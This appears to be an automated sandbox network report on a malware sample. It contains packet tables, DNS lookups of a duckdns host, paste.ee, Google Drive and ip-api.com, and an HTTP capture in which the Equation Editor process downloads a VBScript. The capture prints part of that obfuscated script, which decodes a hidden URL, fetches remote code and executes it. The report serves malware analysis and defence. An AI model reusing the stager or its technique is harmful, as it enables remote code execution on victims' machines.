Oct 24, 2024 08:53:08.966973066 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966986895 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.967001915 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.967008114 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.967026949 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.967047930 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.967148066 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.967163086 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.967176914 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.967191935 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.967221975 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.969305038 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969332933 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969348907 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969377041 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969384909 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.969393015 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969404936 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969419956 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969441891 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.969566107 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969578028 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969619036 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.969820976 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969835043 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969849110 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969863892 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969897032 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969899893 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.969913006 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.969955921 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.970067978 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.970114946 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.970129013 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.970165014 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.970300913 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.970340014 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.970390081 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.970454931 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.970467091 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.970508099 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.970968962 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.970982075 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.970997095 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.971018076 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.971018076 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.971033096 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.971048117 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.971054077 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.971079111 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.971138000 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.971152067 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.971165895 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.971179962 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.971187115 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.971216917 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.972641945 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.972697973 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.972712994 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.972739935 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.972779036 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.972793102 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.972807884 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.972821951 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.972824097 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.972845078 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.973166943 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.973210096 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.973217010 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.973232031 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.973264933 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.973289967 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.973304033 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.973319054 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.973335981 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.080569029 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080590010 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080615997 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080631018 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080643892 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080667019 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080683947 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080687046 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.080698967 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080713987 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080718040 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.080718040 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.080729008 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080754042 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.080785036 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080799103 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080815077 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080823898 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.080842972 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.080943108 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080959082 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080974102 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.080986977 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081003904 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081012011 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081024885 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081033945 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081041098 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081053019 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081080914 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081089020 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081101894 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081116915 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081116915 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081135988 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081171989 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081186056 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081201077 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081218004 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081233025 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081235886 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081257105 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081291914 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081302881 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081335068 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081350088 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081379890 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081430912 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081444979 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081460953 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081481934 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081496954 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081528902 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081549883 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081588984 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081598043 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081612110 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081626892 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081649065 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081690073 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081705093 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081734896 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081748962 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081764936 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081790924 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081804037 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081819057 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081845999 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081899881 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081916094 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081932068 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081944942 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081959009 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.081984043 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.081998110 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082036972 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082062960 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082077980 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082110882 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082154989 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082169056 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082182884 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082197905 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082211971 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082212925 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082231998 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082264900 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082302094 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082310915 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082350969 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082365036 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082379103 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082400084 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082416058 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082459927 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082521915 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082535982 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082551003 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082565069 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082566977 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082580090 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082602978 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082664013 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082678080 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082710981 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082716942 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082722902 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082756996 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082813978 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082827091 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082842112 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082854986 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082864046 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082870007 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082891941 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.082958937 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082973957 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.082987070 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083003044 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.083040953 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083055973 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083070993 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083085060 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.083096981 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.083185911 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083200932 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083214998 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083229065 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083242893 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.083244085 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083256006 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083261013 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.083296061 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.083352089 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083367109 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083380938 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083395958 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083409071 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.083434105 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.083494902 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083515882 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083529949 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083544016 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083553076 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.083583117 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.083615065 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083628893 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083643913 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083657026 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:09.083661079 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.083698034 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:09.178452969 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:10.089751005 CEST	49169	80	192.168.2.22	208.95.112.1
Oct 24, 2024 08:53:10.095297098 CEST	80	49169	208.95.112.1	192.168.2.22
Oct 24, 2024 08:53:10.095354080 CEST	49169	80	192.168.2.22	208.95.112.1
Oct 24, 2024 08:53:10.095597982 CEST	49169	80	192.168.2.22	208.95.112.1
Oct 24, 2024 08:53:10.100918055 CEST	80	49169	208.95.112.1	192.168.2.22
Oct 24, 2024 08:53:10.690785885 CEST	80	49169	208.95.112.1	192.168.2.22
Oct 24, 2024 08:53:10.900126934 CEST	80	49169	208.95.112.1	192.168.2.22
Oct 24, 2024 08:53:10.900180101 CEST	49169	80	192.168.2.22	208.95.112.1
Oct 24, 2024 08:53:48.451442003 CEST	80	49169	208.95.112.1	192.168.2.22
Oct 24, 2024 08:53:48.451518059 CEST	49169	80	192.168.2.22	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 08:52:44.235963106 CEST	54562	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:52:45.235843897 CEST	54562	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:52:45.334414959 CEST	53	54562	8.8.8.8	192.168.2.22
Oct 24, 2024 08:52:46.334208012 CEST	53	54562	8.8.8.8	192.168.2.22
Oct 24, 2024 08:52:46.419667959 CEST	52917	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:52:46.431705952 CEST	53	52917	8.8.8.8	192.168.2.22
Oct 24, 2024 08:52:46.462253094 CEST	62751	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:52:46.472408056 CEST	53	62751	8.8.8.8	192.168.2.22
Oct 24, 2024 08:52:50.585891008 CEST	57893	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:52:50.593947887 CEST	53	57893	8.8.8.8	192.168.2.22
Oct 24, 2024 08:52:52.043365955 CEST	54821	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:52:52.060544014 CEST	53	54821	8.8.8.8	192.168.2.22
Oct 24, 2024 08:53:07.914249897 CEST	54719	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:53:07.922295094 CEST	53	54719	8.8.8.8	192.168.2.22
Oct 24, 2024 08:53:10.062776089 CEST	49881	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:53:10.073369026 CEST	53	49881	8.8.8.8	192.168.2.22

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 24, 2024 08:52:46.334311008 CEST	192.168.2.22	8.8.8.8	d024	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 08:52:44.235963106 CEST	192.168.2.22	8.8.8.8	0xe7c3	Standard query (0)	wednesdayyyyyyfile.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:45.235843897 CEST	192.168.2.22	8.8.8.8	0xe7c3	Standard query (0)	wednesdayyyyyyfile.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:46.419667959 CEST	192.168.2.22	8.8.8.8	0x526f	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:46.462253094 CEST	192.168.2.22	8.8.8.8	0x7d11	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:50.585891008 CEST	192.168.2.22	8.8.8.8	0x4690	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:52.043365955 CEST	192.168.2.22	8.8.8.8	0x481f	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:53:07.914249897 CEST	192.168.2.22	8.8.8.8	0x9f74	Standard query (0)	wednesdayyyyyyfile.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:53:10.062776089 CEST	192.168.2.22	8.8.8.8	0x6e9b	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 08:52:45.334414959 CEST	8.8.8.8	192.168.2.22	0xe7c3	No error (0)	wednesdayyyyyyfile.duckdns.org	198.46.178.134	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:46.334208012 CEST	8.8.8.8	192.168.2.22	0xe7c3	No error (0)	wednesdayyyyyyfile.duckdns.org	198.46.178.134	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:46.431705952 CEST	8.8.8.8	192.168.2.22	0x526f	No error (0)	paste.ee	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:46.431705952 CEST	8.8.8.8	192.168.2.22	0x526f	No error (0)	paste.ee	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:46.472408056 CEST	8.8.8.8	192.168.2.22	0x7d11	No error (0)	paste.ee	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:46.472408056 CEST	8.8.8.8	192.168.2.22	0x7d11	No error (0)	paste.ee	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:50.593947887 CEST	8.8.8.8	192.168.2.22	0x4690	No error (0)	drive.google.com	216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:52:52.060544014 CEST	8.8.8.8	192.168.2.22	0x481f	No error (0)	drive.usercontent.google.com	142.250.186.97	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:53:07.922295094 CEST	8.8.8.8	192.168.2.22	0x9f74	No error (0)	wednesdayyyyyyfile.duckdns.org	198.46.178.134	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:53:10.073369026 CEST	8.8.8.8	192.168.2.22	0x6e9b	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

paste.ee

drive.google.com

drive.usercontent.google.com

wednesdayyyyyyfile.duckdns.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	198.46.178.134	80	3492	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:52:45.354321957 CEST	347	OUT	GET /wednesdaysMPDW-constraints.vbs HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: wednesdayyyyyyfile.duckdns.org Connection: Keep-Alive
Oct 24, 2024 08:52:46.016316891 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/vbscript Last-Modified: Wed, 23 Oct 2024 17:10:40 GMT Accept-Ranges: bytes ETag: "43a1e17c6e25db1:0" Server: Microsoft-IIS/10.0 Date: Thu, 24 Oct 2024 06:52:45 GMT Content-Length: 2256 Data Raw: ff fe 0d 00 0a 00 53 00 65 00 74 00 20 00 65 00 73 00 74 00 61 00 74 00 75 00 61 00 72 00 20 00 3d 00 20 00 43 00 72 00 65 00 61 00 74 00 65 00 4f 00 62 00 6a 00 65 00 63 00 74 00 28 00 22 00 4d 00 53 00 58 00 4d 00 4c 00 32 00 2e 00 53 00 65 00 72 00 76 00 65 00 72 00 58 00 4d 00 4c 00 48 00 54 00 54 00 50 00 2e 00 36 00 2e 00 30 00 22 00 29 00 0d 00 0a 00 0d 00 0a 00 6d 00 61 00 72 00 65 00 74 00 69 00 6e 00 61 00 20 00 3d 00 20 00 61 00 6d 00 79 00 67 00 64 00 6f 00 70 00 68 00 69 00 6e 00 69 00 6e 00 61 00 28 00 22 00 67 2a 20 00 f5 02 20 00 e5 27 20 00 c0 23 20 00 5b 2f 22 00 29 00 0d 00 0a 00 63 00 61 00 74 00 6f 00 74 00 6f 00 6c 00 20 00 3d 00 20 00 61 00 6d 00 79 00 67 00 64 00 6f 00 70 00 68 00 69 00 6e 00 69 00 6e 00 61 00 28 00 22 00 64 00 67 2a 20 00 f5 02 20 00 e5 27 20 00 c0 23 20 00 5b 2f 6b 00 67 2a 20 00 f5 02 20 00 e5 27 20 00 c0 23 20 00 5b 2f 74 00 67 2a 20 00 f5 02 20 00 e5 27 20 00 c0 23 20 00 5b 2f 77 00 67 2a 20 00 f5 02 20 00 e5 27 20 00 c0 23 20 00 5b 2f 6e 00 67 2a 20 00 [TRUNCATED] Data Ascii: Set estatuar = CreateObject("MSXML2.ServerXMLHTTP.6.0")maretina = amygdophinina("g* ' # [/")catotol = amygdophinina("dg* ' # [/kg* ' # [/tg* ' # [/wg* ' # [/ng* ' # [//g* ' # [/dg* ' # [//g* ' # [/eg* ' # [/eg* ' # [/.g* ' # [/eg* ' # [/tg* ' # [/sg* ' # [/ag* ' # [/pg* ' # [//g* ' # [//g* ' # [/:g* ' # [/pg* ' # [/tg* ' # [/tg* ' # [/h")catotol = ReplaceString(catotol, maretina, "")estatuar.Open "GET", catotol, Falseestatuar.SendExecuteGlobal estatuar.ResponseTextFunctio
